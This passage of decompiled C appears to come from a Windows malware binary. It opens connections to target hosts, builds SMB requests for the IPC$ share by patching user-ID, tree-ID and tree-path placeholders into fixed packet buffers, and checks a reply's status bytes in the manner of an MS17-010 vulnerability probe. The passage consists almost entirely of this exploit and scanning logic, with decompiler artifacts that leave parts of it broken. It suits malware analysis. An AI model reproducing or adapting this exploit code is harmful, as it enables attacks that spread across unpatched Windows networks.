  1775.         g7 = (int32_t)a1;
  1776.         g2 += 2 - strlen("__TREEID__PLACEHOLDER__");
  1777.         v17 = v16;
  1778.         // branch -> 0x4012e5
  1779.     }
  1780.     int32_t v26 = v4;
  1781.     if (v4 == 0) {
  1782.         // 0x4012ed
  1783.         if (v17 == 0) {
  1784.             // 0x4012f1
  1785.             g5 = g3;
  1786.             memcpy((char *)g3, (char *)g7, g2 / 4);
  1787.             v26 = g2 & 3;
  1788.             // branch -> 0x401303
  1789.         } else {
  1790.             v26 = 0;
  1791.         }
  1792.     }
  1793.     // 0x401303
  1794.     memcpy((char *)g5, (char *)g7, v26);
  1795.     int32_t result = g2; // 0x401304
  1796.     g7 = v2;
  1797.     g2 = v1;
  1798.     return result;
  1799. }
  1800.  
  1801. // Address range: 0x401310 - 0x40136f
  1802. void function_401310(void) {
  1803.     // 0x401310
  1804.     g1 = g120;
  1805.     int32_t v1 = *(int32_t *)g120; // 0x401316
  1806.     int32_t v2 = v1; // esi
  1807.     if (v1 == g120) {
  1808.         // 0x401365
  1809.         return;
  1810.     }
  1811.     // branch -> 0x40131c
  1812.     while (true) {
  1813.         // 0x40131c
  1814.         closesocket(*(int32_t *)(v1 + 16));
  1815.         int32_t v3 = v2; // 0x401325
  1816.         int32_t v4 = *(int32_t *)(v3 + 8); // 0x401325
  1817.         g4 = g1178;
  1818.         int32_t v5; // 0x40135b
  1819.         if (v4 == g1178) {
  1820.             int32_t v6 = *(int32_t *)(v3 + 4); // 0x401344
  1821.             g1 = v6;
  1822.             v5 = v6;
  1823.             int32_t v7 = v3; // 0x401356
  1824.             if (v3 == *(int32_t *)(v6 + 8)) {
  1825.                 v2 = v6;
  1826.                 int32_t v8 = *(int32_t *)(v6 + 4); // 0x40134e
  1827.                 g1 = v8;
  1828.                 while (v6 == *(int32_t *)(v8 + 8)) {
  1829.                     // 0x40134c
  1830.                     v6 = v8;
  1831.                     v2 = v6;
  1832.                     v8 = *(int32_t *)(v6 + 4);
  1833.                     g1 = v8;
  1834.                     // continue -> 0x40134c
  1835.                 }
  1836.                 // 0x401356
  1837.                 v5 = v8;
  1838.                 v7 = v6;
  1839.                 // branch -> 0x401356
  1840.             }
  1841.             // 0x401356
  1842.             if (*(int32_t *)(v7 + 8) != v5) {
  1843.                 // 0x40135b
  1844.                 v2 = v5;
  1845.                 // branch -> 0x40135d
  1846.             } else {
  1847.                 v5 = v7;
  1848.             }
  1849.           lab_0x40135d_2:
  1850.             // 0x40135d
  1851.             if (v5 == g120) {
  1852.                 // break -> 0x401365
  1853.                 break;
  1854.             }
  1855.             v1 = v5;
  1856.             // continue -> 0x40131c
  1857.             continue;
  1858.         } else {
  1859.             // 0x401332
  1860.             v2 = v4;
  1861.             int32_t v9 = *(int32_t *)v4; // 0x401334
  1862.             g1 = v9;
  1863.             if (v9 == g1178) {
  1864.                 v5 = v4;
  1865.                 goto lab_0x40135d_2;
  1866.             }
  1867.             v2 = v9;
  1868.             int32_t v10 = *(int32_t *)v9; // 0x40133c
  1869.             g1 = v10;
  1870.             while (v10 != g1178) {
  1871.                 // 0x40133a
  1872.                 v9 = v10;
  1873.                 v2 = v9;
  1874.                 v10 = *(int32_t *)v9;
  1875.                 g1 = v10;
  1876.                 // continue -> 0x40133a
  1877.             }
  1878.             // 0x40135d
  1879.             v5 = v9;
  1880.             // branch -> 0x40135d
  1881.             goto lab_0x40135d_2;
  1882.         }
  1883.     }
  1884.     // 0x401365
  1885.     // branch -> 0x401365
  1886. }
  1887.  
  1888. // Address range: 0x401370 - 0x40165f
  1889. int32_t function_401370(int32_t a1, int32_t a2, int32_t a3, float64_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, float64_t a16, int32_t a17, int32_t addr, int32_t a19, int32_t a20, int32_t a21, char * a22, int32_t a23, int32_t buf2, int32_t a25, int32_t a26, int32_t a27, int32_t a28) {
  1890.     // 0x401370
  1891.     int32_t v1;
  1892.     struct sockaddr * v2 = (struct sockaddr *)v1; // bp-36
  1893.     g1 = 0x2f84;
  1894.     int32_t v3;
  1895.     function_409860(v3);
  1896.     int32_t v4 = g7; // bp-12
  1897.     g3 = 0;
  1898.     int32_t v5 = g5; // bp-16
  1899.     int32_t v6 = 0;
  1900.     int32_t dwMilliseconds = GetTickCount();
  1901.     int32_t v7 = g3;
  1902.     function_401d80();
  1903.     int32_t v8 = g120;
  1904.     int32_t v9 = v8; // bp-20
  1905.     int32_t v10 = *(int32_t *)v8; // 0x4013b5
  1906.     int32_t v11 = &dwMilliseconds;
  1907.     g4 = &g119;
  1908.     g1 = function_4082c0(&dwMilliseconds, v10, v8, v5);
  1909.     g7 = (int32_t)&g123;
  1910.     int32_t v12 = (int32_t)&v2;
  1911.     int32_t v13;
  1912.     int32_t length = &v13; // 0x4014f4_0
  1913.     int32_t v14 = (int32_t)&g123; // 0x4013cc
  1914.     // branch -> 0x4013cc
  1915.     while (true) {
  1916.         float64_t v15 = 1000.0 * *(float64_t *)(v14 + 0x2720);
  1917.         ((int32_t (*)(int32_t))g2)((int32_t)(int64_t)v15);
  1918.         int32_t v16 = g1; // 0x4013de
  1919.         float80_t v17 = (float80_t)v15 - ((float80_t)v16 - (float80_t)a4); // 0x4013ee
  1920.         int32_t v18; // 0x4013f8
  1921.         int32_t v19; // 0x40141e
  1922.         int32_t v20; // 0x40141a
  1923.         int32_t v21; // 0x40141e
  1924.         if (v17 <= 0.0L) {
  1925.             // if_4013f2_1_false
  1926.             bool v22;
  1927.             bool v23;
  1928.             int32_t v24; // 0x4013f8
  1929.             if (v17 >= 0.0L) {
  1930.                 // if_4013f2_2_false
  1931.                 v22 = v17 != 0.0L;
  1932.                 v23 = v17 != 0.0L;
  1933.                 v24 = 0x4000;
  1934.                 // branch -> after_if_4013f2_1
  1935.             } else {
  1936.                 v22 = true;
  1937.                 v23 = false;
  1938.                 v24 = 0;
  1939.             }
  1940.             // after_if_4013f2_1
  1941.             v18 = (v23 ? 1024 : 0) | v24 | (v22 ? 256 : 0);
  1942.             g1 = v16 & -0x10000 | v18 | 0x3000;
  1943.             g1182 = (v18 & 0x4100) == 0;
  1944.             ((int32_t (*)())g2)();
  1945.             v20 = g1;
  1946.             v19 = g7;
  1947.             v21 = (int32_t)*(int16_t *)v19 | v20 & -0x10000;
  1948.             g1 = v21;
  1949.             int32_t v25; // 0x40160d
  1950.             int32_t v26; // 0x40160d
  1951.             int32_t v27; // 0x401645
  1952.             if (v21 == 2) {
  1953.               lab_0x401433:;
  1954.                 // 0x401433
  1955.                 int32_t cp;
  1956.                 g4 = cp;
  1957.                 addr = 2;
  1958.                 inet_addr((char *)cp);
  1959.                 int32_t host_short;
  1960.                 g6 = host_short;
  1961.                 htons((int16_t)host_short);
  1962.                 v2 = (struct sockaddr *)1;
  1963.                 int32_t sock_fd = socket(AF_INET, SOCK_STREAM, g3); // 0x401460
  1964.                 g5 = sock_fd;
  1965.                 if (sock_fd == -1) {
  1966.                     // 0x40162a
  1967.                     function_401310();
  1968.                     g5 = v11;
  1969.                     g7 = v10;
  1970.                     g2 = v9;
  1971.                     g3 = v5;
  1972.                     return -1;
  1973.                 }
  1974.                 // 0x401470
  1975.                 v2 = (struct sockaddr *)&addr;
  1976.                 if (connect(sock_fd, (struct sockaddr *)&addr, 16) == -1) {
  1977.                     // 0x40163a
  1978.                     closesocket(g5);
  1979.                     // branch -> 0x401640
  1980.                     // 0x401640
  1981.                     *(int32_t *)((int32_t)&v11 - 4) = 0x401645;
  1982.                     function_401310();
  1983.                     v27 = g8;
  1984.                     *(int32_t *)(v27 - 4) = 1000;
  1985.                     *(int32_t *)(v27 - 8) = (int32_t)&g9;
  1986.                     Sleep(dwMilliseconds);
  1987.                     g5 = *(int32_t *)v27;
  1988.                     g7 = *(int32_t *)(v27 + 4);
  1989.                     g2 = *(int32_t *)(v27 + 8);
  1990.                     g3 = *(int32_t *)(v27 + 12);
  1991.                     return g1;
  1992.                 }
  1993.                 // 0x401486
  1994.                 g1 = &a12;
  1995.                 a8 = *(int32_t *)(g7 + 4);
  1996.                 v2 = (struct sockaddr *)&a12;
  1997.                 g4 = &g119;
  1998.                 g1 = function_408390(&a12, &a8, v11);
  1999.                 g4 = v20;
  2000.                 *(int32_t *)(v20 + 16) = g5;
  2001.                 // branch -> 0x40160d
  2002.               lab_0x40160d_6:
  2003.                 // 0x40160d
  2004.                 v26 = g7;
  2005.                 v25 = v26 + 0x2728;
  2006.                 g7 = v25;
  2007.                 g1182 = v26 == 0x5fd5e0;
  2008.                 if (v25 >= 0x5ffd08) {
  2009.                     // break -> 0x40161f
  2010.                     break;
  2011.                 }
  2012.                 v14 = v25;
  2013.                 a4 = v20;
  2014.                 // continue -> 0x4013cc
  2015.                 continue;
  2016.             } else {
  2017.               lab_0x4014b1:;
  2018.                 // 0x4014b1
  2019.                 float64_t v28;
  2020.                 if (v21 == 3) {
  2021.                     // 0x4014b7
  2022.                     g1 = &v7;
  2023.                     v2 = (struct sockaddr *)&buf2;
  2024.                     g4 = &g119;
  2025.                     v7 = *(int32_t *)(v19 + 4);
  2026.                     function_408390(&buf2, &v7, v11);
  2027.                     int32_t v29 = (int32_t)a22;
  2028.                     g6 = v29;
  2029.                     g1 = closesocket(*(int32_t *)(v29 + 16));
  2030.                     // branch -> 0x40160d
  2031.                     goto lab_0x40160d_6;
  2032.                 } else {
  2033.                     int32_t v30 = g3; // 0x4014e8
  2034.                     if (v21 == v30) {
  2035.                         // 0x4014ed
  2036.                         g5 = length;
  2037.                         memset((char *)&v13, 0, 2500);
  2038.                         int32_t v31 = g7; // 0x40150d
  2039.                         int32_t v32 = *(int32_t *)(v31 + 8); // 0x40150d
  2040.                         v2 = (struct sockaddr *)&v4;
  2041.                         int32_t v33;
  2042.                         function_401190((char *)(v31 + 12), v32, (char *)&v13, (char *)&v4, (char *)&v33);
  2043.                         g5 = length;
  2044.                         int32_t v34 = *(int32_t *)(g7 + 4); // 0x401525
  2045.                         g1 = v34;
  2046.                         v2 = (struct sockaddr *)&a22;
  2047.                         g4 = &g119;
  2048.                         a6 = v34;
  2049.                         function_408390((int32_t *)&a22, &a6, v11);
  2050.                         g4 = a20;
  2051.                         int32_t sock = *(int32_t *)(a20 + 16); // 0x40154d
  2052.                         g6 = sock;
  2053.                         int32_t buf;
  2054.                         int32_t v35 = send(sock, (char *)&buf, length, g3); // 0x401552
  2055.                         g1 = v35;
  2056.                         if (v35 != -1) {
  2057.                             goto lab_0x40160d_6;
  2058.                         }
  2059.                         // 0x401640
  2060.                         *(int32_t *)(v12 - 4) = 0x401645;
  2061.                         function_401310();
  2062.                         v27 = g8;
  2063.                         *(int32_t *)(v27 - 4) = 1000;
  2064.                         *(int32_t *)(v27 - 8) = (int32_t)&g9;
  2065.                         Sleep(dwMilliseconds);
  2066.                         g5 = *(int32_t *)v27;
  2067.                         g7 = *(int32_t *)(v27 + 4);
  2068.                         g2 = *(int32_t *)(v27 + 8);
  2069.                         g3 = *(int32_t *)(v27 + 12);
  2070.                         return g1;
  2071.                     }
  2072.                     // 0x401565
  2073.                     if (v21 != 1) {
  2074.                         goto lab_0x40160d_6;
  2075.                     }
  2076.                     int32_t v36 = *(int32_t *)(v19 + 4); // 0x40156f
  2077.                     g1 = v36;
  2078.                     v2 = (struct sockaddr *)&a14;
  2079.                     g4 = &g119;
  2080.                     v6 = v36;
  2081.                     dwMilliseconds = v30;
  2082.                     function_408390(&a14, &v6, v11);
  2083.                     g4 = a12;
  2084.                     int32_t sock2 = *(int32_t *)(a12 + 16); // 0x40159f
  2085.                     g6 = sock2;
  2086.                     int32_t v37 = recv(sock2, (char *)&buf2, 2048, g3); // 0x4015a4
  2087.                     g1 = v37;
  2088.                     if (v37 == -1) {
  2089.                         // 0x401640
  2090.                         *(int32_t *)(v12 - 4) = 0x401645;
  2091.                         function_401310();
  2092.                         v27 = g8;
  2093.                         *(int32_t *)(v27 - 4) = 1000;
  2094.                         *(int32_t *)(v27 - 8) = (int32_t)&g9;
  2095.                         Sleep(dwMilliseconds);
  2096.                         g5 = *(int32_t *)v27;
  2097.                         g7 = *(int32_t *)(v27 + 4);
  2098.                         g2 = *(int32_t *)(v27 + 8);
  2099.                         g3 = *(int32_t *)(v27 + 12);
  2100.                         return g1;
  2101.                     }
  2102.                     int32_t v38 = g7; // 0x4015b2
  2103.                     if (*(int32_t *)(v38 + 8) < 4) {
  2104.                         goto lab_0x40160d_6;
  2105.                     }
  2106.                     int32_t v39 = v38 + 12; // 0x4015b8
  2107.                     g5 = v39;
  2108.                     if (_stricmp((char *)v39, "treeid") == 0) {
  2109.                         // 0x4015ce
  2110.                         int32_t v40;
  2111.                         g4 = g4 & -256 | v40 & 255;
  2112.                         // branch -> 0x4015e4
  2113.                     }
  2114.                     int32_t v41 = _stricmp((char *)g5, "userid"); // 0x4015ea
  2115.                     g1 = v41;
  2116.                     if (v41 != 0) {
  2117.                         goto lab_0x40160d_6;
  2118.                     }
  2119.                     // 0x4015f7
  2120.                     int32_t v42;
  2121.                     g6 = g6 & -256 | v42 & 255;
  2122.                     int32_t v43;
  2123.                     g1 = v43 & 255;
  2124.                     v9 = 0x1000000 * v42 / 0x1000000;
  2125.                     // branch -> 0x40160d
  2126.                     goto lab_0x40160d_6;
  2127.                     // 0x40160d
  2128.                     v26 = g7;
  2129.                     v25 = v26 + 0x2728;
  2130.                     g7 = v25;
  2131.                     g1182 = v26 == 0x5fd5e0;
  2132.                     if (v25 >= 0x5ffd08) {
  2133.                         // break -> 0x40161f
  2134.                         break;
  2135.                     }
  2136.                     v14 = v25;
  2137.                     a4 = v28;
  2138.                     // continue -> 0x4013cc
  2139.                     continue;
  2140.                 }
  2141.                 // 0x40160d
  2142.                 v26 = g7;
  2143.                 v25 = v26 + 0x2728;
  2144.                 g7 = v25;
  2145.                 g1182 = v26 == 0x5fd5e0;
  2146.                 if (v25 >= 0x5ffd08) {
  2147.                     // break -> 0x40161f
  2148.                     break;
  2149.                 }
  2150.                 v14 = v25;
  2151.                 a4 = v28;
  2152.                 // continue -> 0x4013cc
  2153.                 continue;
  2154.             }
  2155.         }
  2156.         // after_if_4013f2_1
  2157.         v18 = 0;
  2158.         g1 = v16 & -0x10000 | v18 | 0x3000;
  2159.         g1182 = (v18 & 0x4100) == 0;
  2160.         ((int32_t (*)())g2)();
  2161.         v20 = g1;
  2162.         v19 = g7;
  2163.         v21 = (int32_t)*(int16_t *)v19 | v20 & -0x10000;
  2164.         g1 = v21;
  2165.         if (v21 == 2) {
  2166.             goto lab_0x401433;
  2167.         }
  2168.         goto lab_0x4014b1;
  2169.     }
  2170.     // 0x40161f
  2171.     g5 = v11;
  2172.     g7 = v10;
  2173.     g2 = v9;
  2174.     g3 = v5;
  2175.     return g1;
  2176. }
  2177.  
  2178. // Address range: 0x401660 - 0x4017af
  2179. int64_t function_401660(int64_t a1, int32_t a2, int32_t a3) {
  2180.     int32_t lpFrequency = g7; // bp-24
  2181.     int32_t v1 = g5; // 0x40166d
  2182.     int32_t lpPerformanceCount = 0; // bp-32
  2183.     int32_t v2 = __alldiv(a1, 0xf4240); // 0x401677_5
  2184.     lpPerformanceCount = 0;
  2185.     __allrem((int32_t)a1, a2, 0xf4240, 0);
  2186.     int32_t v3 = 1000 * v2; // 0x401695
  2187.     int64_t v4 = v3;
  2188.     int64_t lpPerformanceCount2 = v4; // bp-12
  2189.     if (v2 >= 1) {
  2190.         int32_t v5 = (int32_t)(0x431bde83 * v4 / 0x100000000) / 0x40000; // 0x4016a7
  2191.         Sleep((v5 >> 31) + v5 + 1000 * v2);
  2192.         return 25 * v2;
  2193.     }
  2194.     bool v6 = QueryPerformanceFrequency((struct _LARGE_INTEGER *)&lpFrequency); // 0x4016e3
  2195.     if (!v6) {
  2196.         uint64_t result = 0x431bde83 * (int64_t)v3; // 0x4016f2
  2197.         int32_t v7 = (int32_t)(result / 0x100000000) / 0x40000; // 0x4016f4
  2198.         Sleep((v7 >> 31) + v7);
  2199.         return result;
  2200.     }
  2201.     // 0x40170c
  2202.     g115 = 1.0e-9L * (float80_t)lpFrequency;
  2203.     _ftol();
  2204.     int32_t result2 = g6; // 0x401733
  2205.     int32_t v8 = (int32_t)(0x431bde83 * (int64_t)v3 / 0x100000000) / 0x40000; // 0x401739
  2206.     int32_t dwMilliseconds = v8 - 10 + (v8 >> 31); // ebx
  2207.     QueryPerformanceCounter((struct _LARGE_INTEGER *)&lpPerformanceCount);
  2208.     g4 = result2;
  2209.     int32_t v9 = lpPerformanceCount + (int32_t)v6; // 0x40175c
  2210.     g5 = v9;
  2211.     g7 = result2 + v1 + (int32_t)(v9 < lpPerformanceCount);
  2212.     g2 = (int32_t)(struct _LARGE_INTEGER *)g2;
  2213.     if (dwMilliseconds >= 1) {
  2214.         // 0x401765
  2215.         Sleep(dwMilliseconds);
  2216.         // branch -> 0x40176c
  2217.     }
  2218.     // 0x40176c
  2219.     g3 = *(int32_t *)0x40a098;
  2220.     int32_t v10 = &lpPerformanceCount2;
  2221.     QueryPerformanceCounter((struct _LARGE_INTEGER *)&lpPerformanceCount2);
  2222.     g1 = result2;
  2223.     int32_t v11 = g7; // 0x40177d
  2224.     g1182 = result2 == v11;
  2225.     if (result2 > v11) {
  2226.         // 0x4017a4
  2227.         return result2;
  2228.     }
  2229.     // 0x401781
  2230.     int32_t result3;
  2231.     uint32_t v12; // 0x401796
  2232.     if (result2 >= v11) {
  2233.         int32_t v13 = lpPerformanceCount2;
  2234.         g4 = v13;
  2235.         uint32_t v14 = g5; // 0x401787
  2236.         if (v13 >= v14) {
  2237.             // 0x4017a4
  2238.             return result2;
  2239.         }
  2240.         g1182 = v13 == v14;
  2241.         g6 = v10;
  2242.         ((int32_t (*)(int32_t))g3)(v10);
  2243.         result3 = lpPerformanceCount2;
  2244.         g1 = result3;
  2245.         v12 = g7;
  2246.         g1182 = result3 == v12;
  2247.         while (result3 < v12) {
  2248.             // 0x40178b
  2249.             g6 = v10;
  2250.             ((int32_t (*)(int32_t))g3)(v10);
  2251.             result3 = lpPerformanceCount2;
  2252.             g1 = result3;
  2253.             v12 = g7;
  2254.             g1182 = result3 == v12;
  2255.             // continue -> 0x40178b
  2256.         }
  2257.         // 0x40179a
  2258.         if (result3 > v12) {
  2259.             // 0x4017a4
  2260.             return result3;
  2261.         }
  2262.       lab_0x40179c:;
  2263.         // 0x40179c
  2264.         uint32_t v15;
  2265.         g4 = v15;
  2266.         uint32_t v16 = g5; // 0x4017a0
  2267.         g1182 = v15 == v16;
  2268.         if (v15 >= v16) {
  2269.             // break (via goto) -> 0x4017a4
  2270.             goto lab_0x4017a4;
  2271.         }
  2272.         // continue (via goto) -> 0x40178b
  2273.         goto lab_0x40178b;
  2274.     }
  2275.   lab_0x40178b:
  2276.     while (true) {
  2277.         // 0x40178b
  2278.         g6 = v10;
  2279.         ((int32_t (*)(int32_t))g3)(v10);
  2280.         result3 = lpPerformanceCount2;
  2281.         g1 = result3;
  2282.         v12 = g7;
  2283.         g1182 = result3 == v12;
  2284.         if (result3 >= v12) {
  2285.             // break -> 0x40179a
  2286.             break;
  2287.         }
  2288.         // continue -> 0x40178b
  2289.     }
  2290.     // 0x40179a
  2291.     if (result3 <= v12) {
  2292.         goto lab_0x40179c;
  2293.     }
  2294.   lab_0x4017a4:
  2295.     // 0x4017a4
  2296.     return result3;
  2297. }
  2298.  
  2299. // Address range: 0x4017b0 - 0x40197f
  2300. int32_t function_4017b0(char * a1, char * a2) {
  2301.     int32_t v1 = g2; // 0x4017b7
  2302.     int32_t v2 = g7; // 0x4017b8
  2303.     int32_t str = 0; // bp-1224
  2304.     int32_t v3;
  2305.     memset((char *)&v3, 0, 49);
  2306.     v3 = 0;
  2307.     *(char *)((int32_t)&v3 | 2) = 0;
  2308.     sprintf((char *)&str, "\\\\%s\\IPC$", a1);
  2309.     g5 = &str;
  2310.     int32_t v4;
  2311.     int32_t v5 = &v4; // 0x4017f0_2
  2312.     strlen((char *)&str);
  2313.     int32_t v6;
  2314.     int32_t v7 = &v6; // 0x4017f8_0
  2315.     g2 = v7;
  2316.     int32_t v8 = function_401140((char *)&g65, "__USERID__PLACEHOLDER__", 95); // 0x401808
  2317.     char * v9;
  2318.     int32_t v10;
  2319.     int32_t v11; // 0x4018ad
  2320.     if (v8 == 0) {
  2321.         // 0x4017b0
  2322.         v9 = (char *)&v10;
  2323.         v11 = g3;
  2324.         // branch -> 0x4018ad
  2325.     } else {
  2326.         int32_t v12 = v8 - 0x42e494; // 0x401823
  2327.         memcpy((char *)&v10, (char *)&g65, v12 / 4);
  2328.         int32_t v13 = (int32_t)a2; // eax
  2329.         memcpy((char *)&v10, (char *)&g65, v12 & 3);
  2330.         *(char *)(g8 + 224 + v12) = *(char *)v13;
  2331.         *(char *)(g8 + 225 + v12) = *(char *)(v13 + 1);
  2332.         uint32_t v14 = g3 - v12 - strlen("__USERID__PLACEHOLDER__"); // 0x401870
  2333.         char * v15 = (char *)(g8 + 226 + v12);
  2334.         int32_t v16 = v8 + strlen("__USERID__PLACEHOLDER__"); // 0x401887
  2335.         char * v17 = (char *)v16;
  2336.         g7 = v16;
  2337.         memcpy(v15, v17, v14 / 4);
  2338.         memcpy(v15, v17, v14 & 3);
  2339.         g5 = (int32_t)"__USERID__PLACEHOLDER__";
  2340.         int32_t v18 = 97 - strlen("__USERID__PLACEHOLDER__"); // 0x4018ab
  2341.         v9 = (char *)&v10;
  2342.         v11 = v18;
  2343.         // branch -> 0x4018ad
  2344.     }
  2345.     int32_t v19 = function_401140(v9, "__TREEPATH_REPLACE__", v11); // 0x4018bb
  2346.     int32_t result; // 0x401973
  2347.     if (v19 == 0) {
  2348.         // 0x4018ad
  2349.         result = g3;
  2350.         // branch -> 0x401968
  2351.     } else {
  2352.         // 0x4018cf
  2353.         memcpy((char *)&g65, v9, v7);
  2354.         memcpy((char *)&g65, v9, v7);
  2355.         int32_t v20;
  2356.         memcpy((char *)&v20, (char *)&str, v7);
  2357.         memcpy((char *)&v20, (char *)&str, v7);
  2358.         strlen("__TREEPATH_REPLACE__");
  2359.         int32_t v21 = g3 - v7 - v5; // 0x401928
  2360.         strlen("__TREEPATH_REPLACE__");
  2361.         char * v22 = (char *)(v19 + v5);
  2362.         g6 = v21;
  2363.         memcpy((char *)&v20, v22, v21 / 4);
  2364.         memcpy((char *)&v20, v22, v21 & 3);
  2365.         int32_t len = strlen("__TREEPATH_REPLACE__");
  2366.         g4 = len;
  2367.         result = g2 - len + g3;
  2368.         // branch -> 0x401968
  2369.     }
  2370.     // 0x401968
  2371.     g7 = v2;
  2372.     *(char *)&g66 = (char)(result + 252);
  2373.     g2 = v1;
  2374.     return result;
  2375. }
  2376.  
  2377. // Address range: 0x401980 - 0x401b6f
  2378. int32_t function_401980(struct sockaddr * cp, int32_t host_short) {
  2379.     int32_t v1 = g5; // bp-1052
  2380.     int32_t buf = 0; // bp-1024
  2381.     int32_t v2;
  2382.     g4 = (int32_t)memset((char *)&v2, 0, 255);
  2383.     v2 = 0;
  2384.     *(char *)((int32_t)&v2 | 2) = 0;
  2385.     g5 = (int32_t)cp;
  2386.     int32_t addr = 2; // bp-1040
  2387.     inet_addr((char *)cp);
  2388.     htons((int16_t)host_short);
  2389.     int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x4019cd
  2390.     g7 = sock_fd;
  2391.     if (sock_fd == -1) {
  2392.         // 0x401b56
  2393.         g5 = v1;
  2394.         return 0;
  2395.     }
  2396.     // 0x4019dd
  2397.     g4 = &addr;
  2398.     if (connect(sock_fd, (struct sockaddr *)&addr, 16) == -1 || send(g7, (char *)&g63, 88, 0) == -1) {
  2399.         // 0x401b50
  2400.         closesocket(g7);
  2401.         // branch -> 0x401b56
  2402.         // 0x401b56
  2403.         g5 = v1;
  2404.         return 0;
  2405.     }
  2406.     int32_t v3 = &buf; // 0x401a0d_0
  2407.     g6 = v3;
  2408.     if (recv(g7, (char *)&buf, 1024, 0) == -1 || send(g7, (char *)&g64, 103, 0) == -1 || recv(g7, (char *)&buf, 1024, 0) == -1) {
  2409.         // 0x401b50
  2410.         closesocket(g7);
  2411.         // branch -> 0x401b56
  2412.         // 0x401b56
  2413.         g5 = v1;
  2414.         return 0;
  2415.     }
  2416.     // 0x401a59
  2417.     int32_t v4;
  2418.     int32_t v5 = 0x1000000 * v4 / 0x1000000; // 0x401a65_0
  2419.     int32_t v6 = v5;
  2420.     int32_t length = function_4017b0((char *)g5, (char *)&v6); // 0x401a6f
  2421.     if (send(g7, (char *)&g65, length, 0) == -1) {
  2422.         // 0x401b50
  2423.         closesocket(g7);
  2424.         // branch -> 0x401b56
  2425.         // 0x401b56
  2426.         g5 = v1;
  2427.         return 0;
  2428.     }
  2429.     // 0x401a8e
  2430.     g4 = v3;
  2431.     if (recv(g7, (char *)&buf, 1024, 0) == -1) {
  2432.         // 0x401b50
  2433.         closesocket(g7);
  2434.         // branch -> 0x401b56
  2435.         // 0x401b56
  2436.         g5 = v1;
  2437.         return 0;
  2438.     }
  2439.     // 0x401aa9
  2440.     int32_t v7;
  2441.     g4 = g4 & -256 | v7 & 255;
  2442.     int32_t v8;
  2443.     g6 = g6 & -256 | v8 & 255;
  2444.     int32_t v9;
  2445.     char v10 = v9; // 0x401ab5
  2446.     *(char *)&g68 = v10;
  2447.     *(char *)&g70 = v10;
  2448.     v6 = v5;
  2449.     *(char *)&g72 = (char)v4;
  2450.     int32_t v11;
  2451.     *(char *)&g73 = (char)v11;
  2452.     char v12 = v7; // 0x401ae7
  2453.     *(char *)&g69 = v12;
  2454.     *(char *)&g71 = v12;
  2455.     *(char *)&g74 = (char)v8;
  2456.     int32_t v13;
  2457.     *(char *)&g75 = (char)v13;
  2458.     if (send(g7, (char *)&g67, 78, 0) == -1) {
  2459.         // 0x401b50
  2460.         closesocket(g7);
  2461.         // branch -> 0x401b56
  2462.         // 0x401b56
  2463.         g5 = v1;
  2464.         return 0;
  2465.     }
  2466.     // 0x401b08
  2467.     g4 = v3;
  2468.     int32_t v14 = recv(g7, (char *)&buf, 1024, 0); // 0x401b15
  2469.     if (v14 != -1) {
  2470.         // 0x401b1f
  2471.         int32_t v15;
  2472.         if ((char)v15 == 5) {
  2473.             // 0x401b26
  2474.             int32_t v16;
  2475.             if ((char)v16 == 2) {
  2476.                 // 0x401b2d
  2477.                 int32_t v17;
  2478.                 if ((v14 & -256 || v17 & 255) == 0) {
  2479.                     // 0x401b35
  2480.                     int32_t v18;
  2481.                     if ((char)v18 == -64) {
  2482.                         // 0x401b3c
  2483.                         closesocket(g7);
  2484.                         g5 = v1;
  2485.                         return 1;
  2486.                     }
  2487.                 }
  2488.             }
  2489.         }
  2490.     }
  2491.     // 0x401b50
  2492.     closesocket(g7);
  2493.     // branch -> 0x401b56
  2494.     // 0x401b56
  2495.     g5 = v1;
  2496.     return 0;
  2497. }
  2498.  
  2499. // Address range: 0x401b70 - 0x401d7f
  2500. int32_t function_401b70(char * cp, int32_t a2, int32_t host_short) {
  2501.     int32_t v1 = g3; // 0x401b76
  2502.     int32_t v2 = g5; // 0x401b78
  2503.     int32_t buf = 0; // bp-1024
  2504.     int32_t addr = 2; // bp-1040
  2505.     int32_t v3;
  2506.     memset((char *)&v3, 0, 255);
  2507.     v3 = 0;
  2508.     *(char *)((int32_t)&v3 | 2) = 0;
  2509.     inet_addr(cp);
  2510.     g4 = host_short;
  2511.     htons((int16_t)host_short);
  2512.     int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x401bbe
  2513.     if (sock_fd == -1) {
  2514.         // 0x401d68
  2515.         g5 = v2;
  2516.         g3 = v1;
  2517.         return 0;
  2518.     }
  2519.     // 0x401bce
  2520.     g6 = &addr;
  2521.     if (connect(sock_fd, (struct sockaddr *)&addr, 16) == -1 || send(sock_fd, (char *)&g76, 137, 0) == -1) {
  2522.         // 0x401d62
  2523.         closesocket(sock_fd);
  2524.         // branch -> 0x401d68
  2525.         // 0x401d68
  2526.         g5 = v2;
  2527.         g3 = v1;
  2528.         return 0;
  2529.     }
  2530.     int32_t v4 = &buf; // 0x401c01_0
  2531.     if (recv(sock_fd, (char *)&buf, 1024, 0) == -1 || send(sock_fd, (char *)&g77, 140, 0) == -1) {
  2532.         // 0x401d62
  2533.         closesocket(sock_fd);
  2534.         // branch -> 0x401d68
  2535.         // 0x401d68
  2536.         g5 = v2;
  2537.         g3 = v1;
  2538.         return 0;
  2539.     }
  2540.     // 0x401c35
  2541.     g4 = v4;
  2542.     if (recv(sock_fd, (char *)&buf, 1024, 0) == -1) {
  2543.         // 0x401d62
  2544.         closesocket(sock_fd);
  2545.         // branch -> 0x401d68
  2546.         // 0x401d68
  2547.         g5 = v2;
  2548.         g3 = v1;
  2549.         return 0;
  2550.     }
  2551.     // 0x401c50
  2552.     int32_t v5;
  2553.     int32_t v6 = g3 & -256 | v5 & 255; // ebx
  2554.     *(char *)&g79 = (char)v5;
  2555.     int32_t v7;
  2556.     int32_t v8 = 0x1000000 * v7 / 0x1000000; // 0x401c69_0
  2557.     g80[0] = v7;
  2558.     if (send(sock_fd, (char *)&g78, 96, 0) == -1) {
  2559.         // 0x401d62
  2560.         closesocket(sock_fd);
  2561.         // branch -> 0x401d68
  2562.         // 0x401d68
  2563.         g5 = v2;
  2564.         g3 = v1;
  2565.         return 0;
  2566.     }
  2567.     // 0x401c80
  2568.     g6 = v4;
  2569.     if (recv(sock_fd, (char *)&buf, 1024, 0) == -1) {
  2570.         // 0x401d62
  2571.         closesocket(sock_fd);
  2572.         // branch -> 0x401d68
  2573.         // 0x401d68
  2574.         g5 = v2;
